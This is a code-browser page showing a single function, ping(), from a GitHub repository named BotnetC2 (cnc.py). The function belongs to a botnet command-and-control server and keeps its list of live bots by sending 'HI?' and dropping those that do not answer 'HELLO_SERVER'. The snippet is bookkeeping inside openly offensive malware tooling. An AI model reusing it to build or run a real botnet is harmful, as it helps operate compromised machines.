MCPcopy Create free account
hub / github.com/Hex1629/BotnetC2 / ping

Function ping

BOTNETc2/cnc.py:131–146  ·  view source on GitHub ↗
()

Source from the content-addressed store, hash-verified

129
130# Checks if bots are dead
131def ping():
132 while 1:
133 dead_bots = []
134 for bot in bots.keys():
135 try:
136 bot.settimeout(3)
137 send(bot, 'HI?', False, False)
138 if bot.recv(65536).decode() != 'HELLO_SERVER':
139 dead_bots.append(bot)
140 except:
141 dead_bots.append(bot)
142
143 for bot in dead_bots:
144 bots.pop(bot)
145 bot.close()
146 time.sleep(5)
147
148# Client handler
149def handle_client(client, address):

Callers

nothing calls this directly

Calls 1

sendFunction · 0.70

Tested by

no test coverage detected